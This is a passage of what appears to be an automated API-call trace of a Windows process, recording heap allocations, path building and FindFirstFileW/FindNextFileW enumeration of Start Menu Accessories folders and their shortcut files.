_Dest=0x42c36d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" [0180.252] wcscat (in: _Dest=0x42c36d50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*" [0180.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0180.253] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0180.253] wcscmp (_String1=".", _String2=".") returned 0 [0180.253] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.253] wcscmp (_String1="..", _String2=".") returned 1 [0180.253] wcscmp (_String1="..", _String2="..") returned 0 [0180.253] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0a7698, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0a7698, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0180.253] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0180.253] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0180.253] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 1 [0180.254] wcscmp (_String1="Speech Recognition.lnk", _String2=".") returned 1 [0180.254] wcscmp (_String1="Speech Recognition.lnk", _String2="..") returned 1 [0180.254] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 0 [0180.254] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0180.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0180.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36d50) returned 1 [0180.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 Thread: id = 3467 os_tid = 0x1414 [0180.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd651e0 [0180.262] wcscpy (in: _Dest=0x1cd651e0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" [0180.262] wcscat (in: _Dest=0x1cd651e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\" [0180.262] wcscat (in: _Dest=0x1cd651e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*" [0180.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0180.263] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0180.263] wcscmp (_String1=".", _String2=".") returned 0 [0180.263] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.263] wcscmp (_String1="..", _String2=".") returned 1 [0180.263] wcscmp (_String1="..", _String2="..") returned 0 [0180.263] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e4ce49a, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e4ce49a, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e51a75b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Character Map.lnk", cAlternateFileName="CHARAC~1.LNK")) returned 1 [0180.264] wcscmp (_String1="Character Map.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="Character Map.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0f3952, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0f3952, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0180.264] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0180.264] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b3b95, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x297b3b95, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x29825fb5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfrgui.lnk", cAlternateFileName="")) returned 1 [0180.264] wcscmp (_String1="dfrgui.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="dfrgui.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d31a0d9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d31a0d9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d36639a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Disk Cleanup.lnk", cAlternateFileName="DISKCL~1.LNK")) returned 1 [0180.264] wcscmp (_String1="Disk Cleanup.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="Disk Cleanup.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x141abfff, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x141abfff, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14375082, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource Monitor.lnk", cAlternateFileName="RESOUR~1.LNK")) returned 1 [0180.264] wcscmp (_String1="Resource Monitor.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="Resource Monitor.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5e7f40, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa5e7f40, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa5e7f40, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Information.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0180.264] wcscmp (_String1="System Information.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="System Information.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c8d61e7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c8d61e7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3c8fc347, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Restore.lnk", cAlternateFileName="SYSTEM~2.LNK")) returned 1 [0180.264] wcscmp (_String1="System Restore.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="System Restore.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9eb814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b9eb814, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b9eb814, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0180.264] wcscmp (_String1="Task Scheduler.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="Task Scheduler.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ace9ee9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer Reports.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0180.264] wcscmp (_String1="Windows Easy Transfer Reports.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="Windows Easy Transfer Reports.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0180.264] wcscmp (_String1="Windows Easy Transfer.lnk", _String2=".") returned 1 [0180.264] wcscmp (_String1="Windows Easy Transfer.lnk", _String2="..") returned 1 [0180.264] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac9dc28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8ac9dc28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ac9dc28, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Easy Transfer.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0180.265] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0180.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0180.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd651e0) returned 1 [0180.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d0b0) returned 1 Thread: id = 3468 os_tid = 0x1598 [0180.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050d0b0 [0180.269] wcscpy (in: _Dest=0x2050d0b0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" [0180.269] wcscat (in: _Dest=0x2050d0b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\" [0180.269] wcscat (in: _Dest=0x2050d0b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*" [0180.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0180.270] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0180.270] wcscmp (_String1=".", _String2=".") returned 0 [0180.270] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.270] wcscmp (_String1="..", _String2=".") returned 1 [0180.270] wcscmp (_String1="..", _String2="..") returned 0 [0180.270] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a217df5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0180.270] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0180.270] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0180.270] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x811d2fa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.lnk", cAlternateFileName="SHAPEC~1.LNK")) returned 1 [0180.270] wcscmp (_String1="ShapeCollector.lnk", _String2=".") returned 1 [0180.270] wcscmp (_String1="ShapeCollector.lnk", _String2="..") returned 1 [0180.270] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8126b520, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.lnk", cAlternateFileName="")) returned 1 [0180.270] wcscmp (_String1="TabTip.lnk", _String2=".") returned 1 [0180.270] wcscmp (_String1="TabTip.lnk", _String2="..") returned 1 [0180.270] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0180.270] wcscmp (_String1="Windows Journal.lnk", _String2=".") returned 1 [0180.270] wcscmp (_String1="Windows Journal.lnk", _String2="..") returned 1 [0180.270] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0180.270] FindClose (in: hFindFile=0x1ced5800 | out: hFindFile=0x1ced5800) returned 1 [0180.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0180.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d0b0) returned 1 [0180.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 Thread: id = 3469 os_tid = 0x161c [0180.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36d50 [0180.277] wcscpy (in: _Dest=0x42c36d50, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" [0180.277] wcscat (in: _Dest=0x42c36d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\" [0180.277] wcscat (in: _Dest=0x42c36d50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*" [0180.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0180.278] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0180.278] wcscmp (_String1=".", _String2=".") returned 0 [0180.278] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.278] wcscmp (_String1="..", _String2=".") returned 1 [0180.278] wcscmp (_String1="..", _String2="..") returned 0 [0180.278] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d776877, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d776877, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0180.278] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0180.278] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0180.278] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0180.278] wcscmp (_String1="Windows PowerShell (x86).lnk", _String2=".") returned 1 [0180.278] wcscmp (_String1="Windows PowerShell (x86).lnk", _String2="..") returned 1 [0180.278] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0180.278] wcscmp (_String1="Windows PowerShell ISE (x86).lnk", _String2=".") returned 1 [0180.278] wcscmp (_String1="Windows PowerShell ISE (x86).lnk", _String2="..") returned 1 [0180.278] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d750717, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, 